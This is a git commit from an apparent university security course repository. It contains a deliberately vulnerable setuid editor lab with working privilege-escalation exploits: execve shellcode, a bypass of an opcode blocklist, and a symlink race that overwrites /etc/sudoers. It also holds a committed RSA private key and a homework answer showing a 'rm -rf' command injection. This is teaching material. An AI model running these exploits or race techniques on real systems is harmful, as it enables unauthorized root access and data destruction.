This commit is contained in:
Michael Zhang 2018-01-29 17:30:43 -06:00
commit d7cb704a4a
No known key found for this signature in database
GPG key ID: A1B65B603268116B
70 changed files with 8956 additions and 0 deletions

7
.vscode/tags vendored Normal file
View file

@ -0,0 +1,7 @@
!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/
!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/
!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/
!_TAG_PROGRAM_NAME Exuberant Ctags //
!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/
!_TAG_PROGRAM_VERSION 5.9~svn20110310 //
exploit.py ../bcvi1.1/exploit.py 1;" kind:file line:1

View file

@ -0,0 +1 @@
1.5:4dfc5582-3d57-4f60-94d9-f66b7347f2b3

View file

@ -0,0 +1 @@
1507004799

View file

@ -0,0 +1 @@
1000

View file

@ -0,0 +1 @@
4dfc5582-3d57-4f60-94d9-f66b7347f2b3

View file

@ -0,0 +1 @@
58bc20eb0575408fbcb898b5db30857e

View file

@ -0,0 +1,27 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwx3/8ipNdIHTZDzAcFwZ/WqRJDo6q1T0FSQjUj5k9vWzYO0n
A2sLFBbA8gOQ0ICwvd42g4cVzfU34tnxj2ycd9oM2mFcNHa8SfY1rB0+nDiBrnr0
msv9JNW6gDzQcHvDzZZzgWr242tQnkr7GYDsSAZRn7bvtQ1ldlgSqdoRecobIoHu
Y+mC2yntFmt37oW0Gouy8O1ahLn3HVLafPWPcXlJHp2kCeKlDNVBtTy5hCqaShHL
+s88hts/KaP24RJvWIAmFzNJ+hAQbD3f3+HRQrK3MU28kPRx7vVusAhQXToldPpb
PSWe4Ngi7jz26boP8+vdMfevbykdipcz3I61NwIDAQABAoIBAF0iCrNawdHkzjRA
U1LOg5FUtqbmLG7vg/o7X6i4I5VFvjN7v22AQK98FOjwDsWXR8W5NageaKgAboaX
pRfireT/bbcnVc2tBz7+iKv44ZPL3QqdoffpepGEexsO7CdkzBdrwwJ5PhNbfAWy
oJyRzzap3Xgw58Yx+MY+T9pHPqQ0nzff3USFXpEzCrAbOoSnwYecz3zYiG+Ze6a0
Q2dlQRLedDVp4g2kYf+XgsppwTKVK0QmAdf9V0/kjE2Ql0deesuANsmkvyWaPB8U
H3TaiF8DTdXGZek0wbqg8pqGhLQAOCbhukkkFv8aLz1c6MYMfDCFGaE/gyf2JZzv
A5BtK0ECgYEA/M1sxXP4SQAJuO11zk5WDSrLuT+FMwVC5pV84/v35nq3gGa325K7
AeB1WLVi+ijdrX7Y6flDnqw4eHRkxt8KMvLtrZ+dp/MML0I+zQWj8HitrD5Muk5T
0hKR/LRp3+bQqGDZlfMkiief6CQOIADaAnw1jdJXBbcJFREIJmCW6XECgYEAxZXK
NHkYNDAwhdbpTNtu7SQKWv/BtJDpyeeJJotlIT7oWlKI1n79vX34J7Pzg0DdSQdg
tFM5fdRie+zWylXAqR/fR5iAublsUjfbgNUWC+uoM2qlhL4+ZaGbsHoxpw81hXdM
UHgO/fJp2jGr+3dbrCPJaM4tz4xZNRVFhuao9ScCgYBkEZTa3DsN+nvevfCCB7Q8
ZhJac/Bv78c5qzbSsCzDCRSWORLSUdTAu273/GT/jSmiwbFvfIHtz1JTLA+wQR2y
aUL4FVS85JKQKnLdiTwJtltY8RhCLzsyzrMHCwtV2/IAlMXMe4CdR24e4BbPSEcD
8NLqHrbfxkJMGn/VYSqboQKBgQC3vB4Hg6AVT8affwT+GoPhc4VJr9FiZutwfKWW
OUP2kXgiHePvirHMV2q/CODmahgcxAaSSV4J+8kFMm1eRDXfT6si+daiXqIzJowx
FnXk6eREw+RdN0fw3EJZ7pdjoYoErbZCkhJm5di3NT+XnRubTMALfMcu3HVMHpbD
5pSxOwKBgQDuPWaJY5M9SmAghSKfaLocS4PXwQ3IvfpjhXTKeqtRGd7enEARtRFn
2JGBN25SKSXjm8MxLqMtQLuNp/UmIKGew/N6x407W95RMqIlmM3haktJ6Dno/VUB
Eg90Fv/KYEfkycvA1xEPrmFSCLQ/6XnYFwyomqdr/ZylpF5KqCwZ6Q==
-----END RSA PRIVATE KEY-----

View file

@ -0,0 +1 @@
{"virtualbox":{"/vagrant":{"guestpath":"/vagrant","hostpath":"/home/michael/Documents/School/CSCI5271/bcvi","disabled":false,"__vagrantfile":true}}}

View file

@ -0,0 +1 @@
/home/michael/Documents/School/CSCI5271/bcvi

6
bcvi/.vscode/settings.json vendored Normal file
View file

@ -0,0 +1,6 @@
{
"files.associations": {
"*.pyx": "python",
"stdlib.h": "c"
}
}

8
bcvi/.vscode/tags vendored Normal file
View file

@ -0,0 +1,8 @@
!_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/
!_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted, 2=foldcase/
!_TAG_PROGRAM_AUTHOR Darren Hiebert /dhiebert@users.sourceforge.net/
!_TAG_PROGRAM_NAME Exuberant Ctags //
!_TAG_PROGRAM_URL http://ctags.sourceforge.net /official site/
!_TAG_PROGRAM_VERSION 5.9~svn20110310 //
exploit.py ../exploit.py 1;" kind:file line:1
p ../exploit.py /^ p = process(["\/usr\/bin\/sudobcvi", f.name])$/;" kind:variable line:6

61
bcvi/Makefile Normal file
View file

@ -0,0 +1,61 @@
# Using the default compiler in Ubuntu 16.04:
# gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
CC := gcc
# -g: include debugging information
# -m32: compile a 32-bit binary, even on a 64-bit machine
# -m64: compile a 64-bit binary
# -Wall: enable most warning messages
# -fno-stack-protector: disable a security mechanism
# -z execstack: allow code execution on the stack
# -z norelro: disable a security mechanism
BC_CFLAGS := -g -Wall -fno-stack-protector -z execstack -z norelro
NC_CFLAGS := -I/usr/include/ncursesw
NC_LIBS := -lncursesw -ltinfo
all: bcvi bcvi64 sudobcvi sudobcvi64
bcvi: bcvi.c
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
bcecho: bcecho.c
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
sudobcvi: bcvi.c
$(CC) -m32 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
bcvi64: bcvi.c
$(CC) -m64 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
sudobcvi64: bcvi.c
$(CC) -m64 $(BC_CFLAGS) $(NC_CFLAGS) $< -o $@ $(NC_LIBS)
ifeq ($(shell which rootshell),/bin/rootshell)
EXE:=bcvi
SUDOEXE:=sudo$(EXE)
EXEPATH:=/usr/bin/$(EXE)
SUDOEXEPATH:=/usr/bin/sudo$(EXE)
install:
@# The bcvi executable itself is not setuid or setgid
sudo -v && sudo cp $(EXE) $(EXEPATH)
sudo -v && sudo chown root:root $(EXEPATH)
sudo -v && sudo chmod a+rx $(EXEPATH)
sudo -v && sudo cp $(EXE)64 $(EXEPATH)64
sudo -v && sudo chown root:root $(EXEPATH)64
sudo -v && sudo chmod a+rx $(EXEPATH)64
@# The sudobcvi executable is setuid root
sudo -v && sudo cp $(SUDOEXE) $(SUDOEXEPATH)
sudo -v && sudo chown root:root $(SUDOEXEPATH)
sudo -v && sudo chmod a+rx $(SUDOEXEPATH)
sudo -v && sudo chmod u+s $(SUDOEXEPATH)
sudo -v && sudo cp $(SUDOEXE)64 $(SUDOEXEPATH)64
sudo -v && sudo chown root:root $(SUDOEXEPATH)64
sudo -v && sudo chmod a+rx $(SUDOEXEPATH)64
sudo -v && sudo chmod u+s $(SUDOEXEPATH)64
else
install:
@echo "Don't install this on a real machine!"
endif

70
bcvi/Vagrantfile vendored Normal file
View file

@ -0,0 +1,70 @@
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure("2") do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
# https://docs.vagrantup.com.
# Every Vagrant development environment requires a box. You can search for
# boxes at https://vagrantcloud.com/search.
config.vm.box = "ubuntu/trusty64"
# Disable automatic box update checking. If you disable this, then
# boxes will only be checked for updates when the user runs
# `vagrant box outdated`. This is not recommended.
# config.vm.box_check_update = false
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine. In the example below,
# accessing "localhost:8080" will access port 80 on the guest machine.
# NOTE: This will enable public access to the opened port
# config.vm.network "forwarded_port", guest: 80, host: 8080
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine and only allow access
# via 127.0.0.1 to disable public access
# config.vm.network "forwarded_port", guest: 80, host: 8080, host_ip: "127.0.0.1"
# Create a private network, which allows host-only access to the machine
# using a specific IP.
# config.vm.network "private_network", ip: "192.168.33.10"
# Create a public network, which generally matched to bridged network.
# Bridged networks make the machine appear as another physical device on
# your network.
# config.vm.network "public_network"
# Share an additional folder to the guest VM. The first argument is
# the path on the host to the actual folder. The second argument is
# the path on the guest to mount the folder. And the optional third
# argument is a set of non-required options.
# config.vm.synced_folder "../data", "/vagrant_data"
# Provider-specific configuration so you can fine-tune various
# backing providers for Vagrant. These expose provider-specific options.
# Example for VirtualBox:
#
# config.vm.provider "virtualbox" do |vb|
# # Display the VirtualBox GUI when booting the machine
# vb.gui = true
#
# # Customize the amount of memory on the VM:
# vb.memory = "1024"
# end
#
# View the documentation for the provider you are using for more
# information on available options.
# Enable provisioning with a shell script. Additional provisioners such as
# Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the
# documentation for more information about their specific syntax and use.
# config.vm.provision "shell", inline: <<-SHELL
# apt-get update
# apt-get install -y apache2
# SHELL
end

58
bcvi/bcecho.c Normal file
View file

@ -0,0 +1,58 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/* strlcpy: secure version of strcpy(), copied from OpenBSD */
/*
* Copy src to string dst of size siz. At most siz-1 characters
* will be copied. Always NUL terminates (unless siz == 0).
* Returns strlen(src); if retval >= siz, truncation occurred.
*/
size_t
strlcpy(char *dst, const char *src, size_t siz)
{
char *d = dst;
const char *s = src;
size_t n = siz;
/* Copy as many bytes as will fit */
if (n != 0 && --n != 0) {
do {
if ((*d++ = *s++) == 0)
break;
} while (--n != 0);
}
/* Not enough room in dst, add NUL and traverse rest of src */
if (n == 0) {
if (siz != 0)
*d = '\0'; /* NUL-terminate dst */
while (*s++)
;
}
return(s - src - 1); /* count does not include NUL */
}
void print_arg(char *str) {
char buf[20];
int len;
int buf_sz = (sizeof(buf) - sizeof(NULL)) * sizeof(char *);
len = strlcpy(buf, str, buf_sz);
if (len > buf_sz) {
fprintf(stderr, "Trucation occured when printing %s\n", str);
}
fwrite(buf, sizeof(char), len, stdout);
}
int main(int argc, char **argv) {
int i;
for (i = 1; i < argc; i++) {
print_arg(argv[i]);
if (i + 1 != argc) {
putchar(' ');
}
}
putchar('\n');
return 0;
}

BIN
bcvi/bcvi Executable file

Binary file not shown.

1108
bcvi/bcvi.1.0.c Normal file

File diff suppressed because it is too large Load diff

1141
bcvi/bcvi.1.1.c Normal file

File diff suppressed because it is too large Load diff

1186
bcvi/bcvi.1.2.c Normal file

File diff suppressed because it is too large Load diff

1250
bcvi/bcvi.1.3.c Normal file

File diff suppressed because it is too large Load diff

1348
bcvi/bcvi.c Normal file

File diff suppressed because it is too large Load diff

BIN
bcvi/bcvi64 Executable file

Binary file not shown.

5
bcvi/exploit.1.0.sh Executable file
View file

@ -0,0 +1,5 @@
#!/bin/bash
echo ":%!/bin/rootshell" | sudobcvi $(mktemp) &
BCVI_PID=$!
kill -9 $BCVI_PID
printf "Done.\n"

42
bcvi/exploit.1.1.sh Executable file
View file

@ -0,0 +1,42 @@
#!/bin/bash
# Exploit handcrafted by Team Shell Smash.
# zhan4854, beach144, jerus005
# Shellcode
cat > shellcode.s << EOF
bits 64
# Pad with four zeros
db 0x00, 0x00, 0x00, 0x00
push rbp
# Pushing 0x00000000, which is the second argument of argv[]
xor rax, rax
push rax
# The string "/bin//rootshell", literally
mov rdi, 0x006c6c656873746f
push rdi
mov rdi, 0x6f722f2f6e69622f
push rdi
# 1st argument (filename)
mov rdi, rsp
# 3rd argument (envp), should be 0x00000000
push rax
mov rdx, rsp
# 2nd argument (argv), is a pointer to 1st argument
push rbx
mov rsi, rsp
# 0x3b, or 59 is the syscall number for execve
mov al, 0x3b
# Blocking int 0x80 and sysenter but not syscall? lol
syscall
ret
EOF
# Compile to bin
nasm -f bin -o shellcode shellcode.s
# Execute
echo "llllR" | sudobcvi64 shellcode

44
bcvi/exploit.1.2.sh Executable file
View file

@ -0,0 +1,44 @@
#!/bin/bash
# Exploit handcrafted by Team Shell Smash.
# zhan4854, beach144, jerus005
# Shellcode
cat > shellcode.s << EOF
bits 64
# Pad with four zeros
db 0x00, 0x00, 0x00, 0x00
push rbp
# Pushing 0x00000000, which is the second argument of argv[]
xor rax, rax
push rax
# The string "/bin//rootshell", literally
mov rdi, 0x006c6c656873746f
push rdi
mov rdi, 0x6f722f2f6e69622f
push rdi
# 1st argument (filename)
mov rdi, rsp
# 3rd argument (envp), should be 0x00000000
push rax
mov rdx, rsp
# 2nd argument (argv), is a pointer to 1st argument
push rbx
mov rsi, rsp
mov r10, 0x060f
sub r10, 0x100
push r10
mov al, 0x3b
call rsp
ret
EOF
# Compile to bin
nasm -f bin -o shellcode shellcode.s
# Execute
echo "llllR" | sudobcvi64 shellcode

8
bcvi/exploit.py Normal file
View file

@ -0,0 +1,8 @@
from pwn import process
from tempfile import NamedTemporaryFile
with NamedTemporaryFile() as f:
f.write("Hello.")
p = process(["/usr/bin/sudobcvi", f.name])
p.sendline("r")
print p.recv(1024)

35
bcvi/exploit.sh Normal file
View file

@ -0,0 +1,35 @@
#!/bin/bash
## TOC-TOU attack on BCVI.
function write_sudoers {
# wait for file to be replaced
sleep 0.2
# user test can run any command without a password
sudoers="test ALL=(ALL:ALL) NOPASSWD:ALL"
# go to insert mode and enter the payload
echo i"$sudoers"
# escape, write, quit
echo -e '\x1B:w\n:q\n'
}
# start up sudobcvi
touch f
write_sudoers | sudobcvi f &
# wait for sudobcvi to be loaded
sleep 0.1
# replace the normal file with a file with /etc/sudoers
rm f; ln -s /etc/sudoers f
# wait for sudoers to be overwritten
sleep 1
# we are root!
sudo rootshell

BIN
bcvi/ha1.2.tar.gz Normal file

Binary file not shown.

BIN
bcvi/ha1.3.tar.gz Normal file

Binary file not shown.

1
bcvi/incr-macro.txt Normal file
View file

@ -0,0 +1 @@
0000%@7ÁÈ À7ÁÈ ÀÁÈ À7ÁÈ% 0000Ã

81
bcvi/readme.1.1.txt Normal file
View file

@ -0,0 +1,81 @@
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
pwned by Team Shell Smash
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Group Members:
- Michael Zhang (zhan4854)
- Elliott Beach (beach144)
- Jegatheeswaran Jerusan (jerus005)
The macro makes use of a call to the compiler extension asm()
which bakes the given assembly code directly into the binary.
In this case, the only assembly that was compiled was a single
instruction `call()` that calls the text in the buffer as a
set of assembly instruction. This gives us very powerful control
over the execution of the program. In this exploit, we will focus
on attacking this macro feature of BCVI.
But in order to increase the scope of our attack outside of the
execution of this process, we will need to be able to execute
syscalls, which BCVI only weakly attempts to prevent by scanning
the assembly code provided for the opcodes for int 0x80 and
sysenter. But the `syscall` instruction is still available to us.
The next step is to call `execve()` in order to call the target
`/bin/rootshell` application. Here is `execve` from the man page:
int execve(const char *filename, char *const argv[],
char *const envp[]);
The rest of the writeup is related to crafting shellcode that
is in the correct format for calling execve. Recall that the
function parameter order for 64-bit executables is: rdi for
the first argument, rsi for the second argument, and rdx for
the third argument. That means:
- rdi should contain the address of a space in memory, pointing
to the name of the executable we want to run, which, in this
case, is /bin/rootshell.
- rsi should contain the address of a char* array, which means
that it's a list of pointers to char*s. In particular, argv
should contain a list of the command-line arguments passed to
the executable, which, in this case, is ["/bin/rootshell",
NULL].
- rcx should just contain NULL, since we won't need any envi-
ronmental variables for this exploit.
The targeted layout for our stack will look like:
$top: ---------HIGH STACK ADDRESS---------
$top-0x08: 0x00000000 <-- NULL to terminate the filename.
$top-0x0f: 0x006c6c65
$top-0x10: 0x6873746f
$top-0x1f: 0x6f722f2f
$top-0x20: 0x6e69622f <-- This is the actual string con-
taining the value of the path
`/bin/rootshell`.
$top-0x28: 0x00000000 <-- This is a NULL pointer that's
used for envp[].
$top-0x30: $top-0x20 <-- This is the address to the start
of the `/bin/rootshell` string.
Then, we will simply set:
- %rdi to point to $top-0x20
- %rsi to point to $top-0x30
- %rdx to point to $top-0x28
For convenience, %rdx is set before %rsi simply because of the
order in which the above stack layout is constructed. The rest
of the shellcode simply builds this structure and then puts 0x3b
(the syscall number for execve) and then executing the syscall.
-Writeup by Michael Zhang

23
bcvi/readme.txt Normal file
View file

@ -0,0 +1,23 @@
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
pwned by Team Shell Smash
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Group Members:
- Michael Zhang (zhan4854)
- Elliott Beach (beach144)
- Jegatheeswaran Jerusan (jerus005)
Like last week's exploit, I took advantage of the run_macro function, only this
week's patch had blacklisted 0x05, which was part of the opcode for syscall
(0x0f05). However, it doesn't seem like call was blocked, so I simply pushed the
opcodes required for syscall (0x0f05) on to the stack backwards. Unfortunately,
since 0x05 was blocked, I couldn't push it directly, so I had to push 0x0f06
(obviously in little-endian order), and then perform a subtraction in order to
have the correct value on stack. Then with a simple call, I was able to execve
the root shell again!
-Writeup by Michael Zhang

112
bcvi/rootshell.c Normal file
View file

@ -0,0 +1,112 @@
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>
#include <grp.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <termios.h>
/* Effectively a simplified version of /bin/id */
void print_ids(void) {
uid_t uid = getuid();
uid_t euid = geteuid();
gid_t gid = getgid();
gid_t egid = getegid();
struct passwd *pw;
struct group *grp;
pw = getpwuid(uid);
printf("uid=%d(%s) ", uid, pw ? pw->pw_name : "?");
pw = getpwuid(euid);
printf("euid=%d(%s) ", euid, pw ? pw->pw_name : "?");
grp = getgrgid(gid);
printf("gid=%d(%s) ", gid, grp ? grp->gr_name : "?");
grp = getgrgid(egid);
printf("egid=%d(%s)", egid, grp ? grp->gr_name : "?");
printf("\n");
}
void restore_tty_sysopen(void) {
if (!isatty(0)) {
int newfd;
printf("Reopening stdin to /dev/tty: ");
close(0); /* OK if it's not actually open */
newfd = open("/dev/tty", O_RDONLY);
if (newfd == 0) {
printf("success.\n");
} else if (newfd == -1) {
printf("failed, %s. Continuing\n", strerror(errno));
} else {
printf("failed, unexpected FD %d. Continuing\n", newfd);
}
}
if (!isatty(1)) {
int newfd;
printf("Reopening stdout to /dev/tty: ");
close(1); /* OK if it's not actually open */
newfd = open("/dev/tty", O_WRONLY);
if (newfd == 1) {
printf("success.\n");
} else if (newfd == -1) {
printf("failed, %s. Continuing\n", strerror(errno));
} else {
printf("failed, unexpected FD %d. Continuing\n", newfd);
}
}
}
void restore_tty_stdio(void) {
if (!isatty(0)) {
FILE *res;
printf("Reopening stdin to /dev/tty: ");
res = freopen("/dev/tty", "r", stdin);
if (!res) {
printf("failed, %s. Continuing\n", strerror(errno));
} else {
printf("success.\n");
}
}
if (!isatty(1)) {
FILE *res;
fprintf(stderr, "Reopening stdout to /dev/tty: ");
res = freopen("/dev/tty", "w", stdout);
if (!res) {
fprintf(stderr, "failed, %s. Continuing\n", strerror(errno));
} else {
fprintf(stderr, "success.\n");
}
}
}
void sane_tty(void) {
struct termios t;
tcgetattr(0, &t);
t.c_iflag |= ICRNL;
t.c_oflag |= ONLCR;
tcsetattr(0, TCSADRAIN, &t);
}
void run_shell(void) {
execl("/bin/bash", "bash", (const char *)0);
printf("Exec failed: %s\n", strerror(errno));
}
int main(int argc, char **argv) {
restore_tty_stdio();
sane_tty();
print_ids();
if (getuid() == 0 || geteuid() == 0) {
/* Make sure all the different UIDs are all root */
if (geteuid() != 0)
seteuid(0);
setuid(0);
printf("Congratulations, you're root. Here's your shell:\n");
run_shell();
} else {
printf("Only root may run `rootshell', go away.\n");
}
return 0;
}

9
bcvi/setup.sh Executable file
View file

@ -0,0 +1,9 @@
#!/bin/bash
dpkg --add-architecture i386
#apt-get update
apt-get install -y \
gcc-multilib \
libncursesw5 libncursesw5-dev \
libncursesw5:i386 libncursesw5-dev:i386

BIN
bcvi/shell-macro.txt Normal file

Binary file not shown.

BIN
bcvi/shellcode Normal file

Binary file not shown.

1
bcvi/shellcode-b Normal file
View file

@ -0,0 +1 @@
H1À°;H¿ÿ/bin/shHÁïWH‰çWRH‰æ

12
bcvi/shellcode-b.s Normal file
View file

@ -0,0 +1,12 @@
bits 64
xor rax, rax
mov al, 0x3b
mov rdi, 0x68732f6e69622fff
shr rdi, 0x8
push rdi
mov rdi, rsp
push rdi
push rdx
mov rsi, rsp
syscall

7
bcvi/shellcode.c Normal file
View file

@ -0,0 +1,7 @@
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/rootshell";
args[1] = NULL;
execve(args[0], args, NULL);
}

31
bcvi/shellcode.s Normal file
View file

@ -0,0 +1,31 @@
bits 64
# Pad with four zeros
db 0x00, 0x00, 0x00, 0x00
push rbp
# Pushing 0x00000000, which is the second argument of argv[]
xor rax, rax
push rax
# The string "/bin//rootshell", literally
mov rdi, 0x006c6c656873746f
push rdi
mov rdi, 0x6f722f2f6e69622f
push rdi
# 1st argument (filename)
mov rdi, rsp
# 3rd argument (envp), should be 0x00000000
push rax
mov rdx, rsp
# 2nd argument (argv), is a pointer to 1st argument
push rbx
mov rsi, rsp
mov r10, 0x060f
sub r10, 0x100
push r10
mov al, 0x3b
call rsp
ret

1
bcvi/shit Normal file
View file

@ -0,0 +1 @@
ッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッッ

1613
bcvi/strace.log Normal file

File diff suppressed because it is too large Load diff

BIN
bcvi/sudobcvi Executable file

Binary file not shown.

3
bcvi/sudobcvi.conf Normal file
View file

@ -0,0 +1,3 @@
smcc:/etc/issue
vagrant:/etc/issue
test:/etc/issue

BIN
bcvi/sudobcvi64 Executable file

Binary file not shown.

BIN
bcvi/test Executable file

Binary file not shown.

52
bcvi/test.c Normal file
View file

@ -0,0 +1,52 @@
/**
*
* _ _ _ ____ _ _
* | | | | __ _ ___| | ___ __ | _ \ ___ | | |
* | |_| |/ _` |/ __| |/ / '_ \ | |_) / _ \| | |
* | _ | (_| | (__| <| | | | | _ < (_) | | |
* |_| |_|\__,_|\___|_|\_\_| |_| |_| \_\___/|_|_|
* [ http://www.hacknroll.com ]
*
* Description:
* FreeBSD x86-64 exec("/bin/sh") Shellcode - 31 bytes
*
*
*
* Authors:
* Maycon M. Vitali ( 0ut0fBound )
* Milw0rm .: http://www.milw0rm.com/author/869
* Page ....: http://maycon.hacknroll.com
* Email ...: maycon@hacknroll.com
*
* Anderson Eduardo ( c0d3_z3r0 )
* Milw0rm .: http://www.milw0rm.com/author/1570
* Page ....: http://anderson.hacknroll.com
* Email ...: anderson@hacknroll.com
*
* -------------------------------------------------------
*
* amd64# gcc hacknroll.c -o hacknroll
* amd64# ./hacknroll
* # exit
* amd64#
*
* -------------------------------------------------------
*/
const char shellcode[] =
"\x48\x31\xc0" // xor %rax,%rax
"\x99" // cltd
"\xb0\x3b" // mov $0x3b,%al
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68" // mov $0x68732f6e69622fff,%rdi
"\x48\xc1\xef\x08" // shr $0x8,%rdi
"\x57" // push %rdi
"\x48\x89\xe7" // mov %rsp,%rdi
"\x57" // push %rdi
"\x52" // push %rdx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x0f\x05"; // syscall
int main(void) {
(*(void (*)())shellcode)();
return 0;
}

1
bcvi/test.symlink Symbolic link
View file

@ -0,0 +1 @@
/etc/sudoers

29
bcvi/valgrind.log Normal file
View file

@ -0,0 +1,29 @@
==6151== Memcheck, a memory error detector
==6151== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==6151== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==6151== Command: bcvi /tmp/tmp.BVlzyy7jiG
==6151==
valgrind: Fatal error at startup: a function redirection
valgrind: which is mandatory for this platform-tool combination
valgrind: cannot be set up. Details of the redirection are:
valgrind:
valgrind: A must-be-redirected function
valgrind: whose name matches the pattern: strlen
valgrind: in an object with soname matching: ld-linux.so.2
valgrind: was not found whilst processing
valgrind: symbols from the object with soname: ld-linux.so.2
valgrind:
valgrind: Possible fixes: (1, short term): install glibc's debuginfo
valgrind: package on this machine. (2, longer term): ask the packagers
valgrind: for your Linux distribution to please in future ship a non-
valgrind: stripped ld.so (or whatever the dynamic linker .so is called)
valgrind: that exports the above-named function using the standard
valgrind: calling conventions for this platform. The package you need
valgrind: to install for fix (1) is called
valgrind:
valgrind: On Debian, Ubuntu: libc6-dbg
valgrind: On SuSE, openSuSE, Fedora, RHEL: glibc-debuginfo
valgrind:
valgrind: Cannot continue -- exiting now. Sorry.

46
ex1/solution.txt Normal file
View file

@ -0,0 +1,46 @@
Question 1
Potential attacks would be attempts to change certain information in the
database, such as an attempt to modify grades or to gain unauthorized access to
exam questions and solutions ahead of time. These attacks could potentially be
performed by mischievous students or anyone else who has knowledge about this
database. Threats we should explicitly exclude from consideration are those
beyond the scope of the software of the database, for example, an attacker
attempting to gain access physically by breaking into the server room holding
the database.
Supposing that the database was stored on the instructor's personal laptop, the
most basic protection that one can employ is a password on the instructor's
laptop account (and filesystem encryption, if possible). This will ensure that
people who have physical access to the professor's computer cannot simply gain
access to important files. Another security measure that could be employed is a
military-grade laptop bag with a physical lock. This prevents people who steal
the laptop from accessing or destroying the data. Relocation to Fort Knox would
also be a plus for security, although without a network card it may be hard to
communicate with the database.
Question 2
Part (a)
Since the Perl script is passing user input directly to another application
without sanitization, anything the user enters could be potentially treated as
code. For example, if the attacker enters the username:
Bob; rm -rf ~/*
they could potentially perform any command they want, since the backtick
syntax will simply pass the entire string to the shell, and the shell knows
nothing about the format of the command, and that the second command was
actually a malicious user input.
One way to improve the code is to check for the existence of characters that
could be interpreted as code ("blacklisting" certain characters). Of course,
this requires that the list must be completely exhaustive, otherwise it serves
absolutely no value. The alternative is to only allow usernames to contain
certain characters (for example, alphanumeric characters) that could not be
interpreted by the shell to be instructions.
Part (b)

BIN
ex2/transform Executable file

Binary file not shown.

104
ex2/transform.c Normal file
View file

@ -0,0 +1,104 @@
#include <assert.h>
#include <stdio.h>
#include <ctype.h>
char rot_char(char c, int amt) {
if (c >= 'A' && c <= 'Z')
return 'A' + ((c - 'A') + amt) % 26;
else if (c >= 'a' && c <= 'z')
return 'a' + ((c - 'a') + amt) % 26;
else
return c;
}
void transform(char *in_buf, char *out_buf, int out_size) {
char *p = in_buf;
char *bp = out_buf;
char *buflim = &out_buf[out_size - 8];
char c;
int in_ul, last_ul, rot_amt, skipping;
int brack_lvl, brace_lvl;
in_ul = brack_lvl = brace_lvl = last_ul = rot_amt = skipping = 0;
while ((c = *p++) != '\0') {
if (brack_lvl > 0)
c = toupper(c);
c = rot_char(c, rot_amt);
if (c == '/')
in_ul = !in_ul;
skipping = (bp >= buflim);
if ((unsigned)c - (unsigned)'[' < 3u && c != '\\') {
int i = (c & 2) ? 1 : -1;
if (brack_lvl + i >= 0 && !skipping) {
brack_lvl += i;
buflim -= i;
}
}
if (c == '{') {
if (!skipping) {
brace_lvl++;
}
rot_amt += 13;
if (rot_amt == 26) {
rot_amt = 0;
buflim -= 2;
}
}
if (c == '}' && brace_lvl > 0) {
if (!skipping) {
brace_lvl--;
buflim++;
}
rot_amt -= 13;
if (rot_amt < 0)
rot_amt = 0;
}
if (in_ul && isalpha(c) && !last_ul && !skipping)
*bp++ = '_';
if (c != '/' && !skipping)
*bp++ = c;
if (in_ul && isalpha(c)) {
if (!skipping)
*bp++ = '_';
last_ul = 1;
} else {
last_ul = 0;
}
}
while (brack_lvl-- > 0)
*bp++ = ']';
while (brace_lvl-- > 0)
*bp++ = '}';
*bp++ = ' ';
*bp++ = 'e';
*bp++ = 'n';
*bp++ = 'd';
*bp++ = '\0';
}
int main(int argc, char **argv) {
char buf[64];
if (argc != 2) {
fprintf(stderr, "Usage: transform <string>\n");
fprintf(stderr, "You should probably use quotes around the string.\n");
return 1;
}
printf("%s\n", argv[1]);
buf[20] = '\242';
transform(argv[1], buf, 20);
printf("%s\n", buf);
/* This canary-like check isn't foolproof, and it isn't the point
of the exercise, but for testing purposes it makes it easy to
see that an overflow has happened. */
if (buf[20] != '\242')
fprintf(stderr, "Overflow detected\n");
return 0;
}

42
firefox/Dockerfile Normal file
View file

@ -0,0 +1,42 @@
# Source: https://gist.githubusercontent.com/indygreg/5608534/raw/30704c59364ce7a8c69a02ee7f1cfb23d1ffcb2c/Dockerfile
# Blog post: https://gregoryszorc.com/blog/2013/05/19/using-docker-to-build-firefox/
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.
# Create a build and development environment for Firefox.
FROM ubuntu:16.04
MAINTAINER Gregory Szorc "gps@mozilla.com"
RUN apt-get update && apt-get install -y \
autoconf2.13 \
build-essential \
sudo \
unzip \
yasm \
zip \
